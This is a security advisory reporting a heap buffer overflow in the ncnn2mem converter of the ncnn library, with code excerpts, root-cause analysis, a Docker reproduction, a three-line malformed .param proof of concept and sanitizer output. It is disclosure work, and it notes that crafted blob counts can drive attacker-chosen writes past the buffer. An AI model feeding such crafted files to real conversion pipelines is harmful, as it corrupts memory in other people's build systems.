Heap Buffer Overflow in ncnn2mem

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: tools/ncnn2mem.cpp:275 in dump_param
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x7fe595a6db3e bp 0x7ffed215f970 sp 0x7ffed215f960 T0)

Summary

ncnn2mem sizes its blob-name table from a number in the .param header and then fills it from a completely different number in the layer lines, with no bounds check between the two. A parameter file that declares fewer blobs than its layers actually produce makes dump_param assign a std::string through an out-of-range vector element, which crashes the converter and, in the general case, writes over whatever follows the vector's buffer. The entry point is ncnn2mem <param> <bin> <id.h> <mem.h>, i.e. any build or conversion job that runs the tool on an untrusted model description.

Detail

The untrusted fields are the two integers on the second line of the .param file — layer_count and blob_count — and each layer line's top_count plus its top blob names. dump_param reads the header pair, sizes blob_names to blob_count, and then walks the layers with an independent running counter blob_index that is incremented once per top blob and never compared against blob_names.size().

// tools/ncnn2mem.cpp:184
    int layer_count = 0;
    int blob_count = 0;
    nscan = fscanf(fp, "%d %d", &layer_count, &blob_count);
    if (nscan != 2)
    {
        fprintf(stderr, "read layer_count and blob_count failed %d\n", nscan);
        return -1;
    }
    fwrite(&layer_count, sizeof(int), 1, mp);
    fwrite(&blob_count, sizeof(int), 1, mp);

    layer_names.resize(layer_count);
    blob_names.resize(blob_count);

// tools/ncnn2mem.cpp:273
            sanitize_name(blob_name);

            blob_names[blob_index] = std::string(blob_name);

            fprintf(ip, "const int BLOB_%s = %d;\n", blob_name, blob_index);

            fwrite(&blob_index, sizeof(int), 1, mp);

            blob_index++;

std::vector::operator[] performs no bounds checking, so blob_names[blob_index] forms a reference to *(begin() + blob_index) regardless of the vector's actual length. The PoC header is 1 0, so blob_names.resize(0) leaves the vector with a null data pointer, while the single layer line Custom x 0 1 declares top_count = 1 and supplies the top name y. The loop therefore executes once with blob_index == 0 and move-assigns a std::string into the object at address 0x0; the assignment operator first reads the destination's internal pointers, which is the null read the sanitizer reports inside basic_string::operator=.

The same defect scales: with blob_count set to a small positive value and enough layer tops to exceed it, the write lands a controlled distance past the end of a heap-allocated std::string array, and both the string contents and the blob_index value written to the output are attacker-chosen. Nothing between the header parse and the assignment rejects the inconsistency — dump_param validates only the magic number and the fscanf conversion counts.

Reproduce

mkdir -p ncnn-poc-heap-buffer-overflow-in-ncnn2mem && cd ncnn-poc-heap-buffer-overflow-in-ncnn2mem

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
1 0
Custom x 0 1 y
PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnn2mem poc.param null id.h mem.h

AddressSanitizer output:

AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x781467245b3e bp 0x7ffc563e8830 sp 0x7ffc563e8820 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
    #0 0x781467245b3e in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator=(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&) (/lib/x86_64-linux-gnu/libstdc++.so.6+0x168b3e) (BuildId: 753c6c8608b61d4e67be8f0c890e03e0aa046b8b)
    #1 0x5ad2c5da7fd4 in dump_param /ncnn/tools/ncnn2mem.cpp:275
    #2 0x5ad2c5dab056 in main /ncnn/tools/ncnn2mem.cpp:624
    #3 0x781466dde1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #4 0x781466dde28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #5 0x5ad2c5da64a4 in _start (/ncnn/build/tools/ncnn2mem+0x29c4a4) (BuildId: cab6e21c1632b34772aef0ab645b9d3a1d19a688)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libstdc++.so.6+0x168b3e) (BuildId: 753c6c8608b61d4e67be8f0c890e03e0aa046b8b) in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator=(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&)
==1==ABORTING

Credit

Zheng Yu @ DepthFirst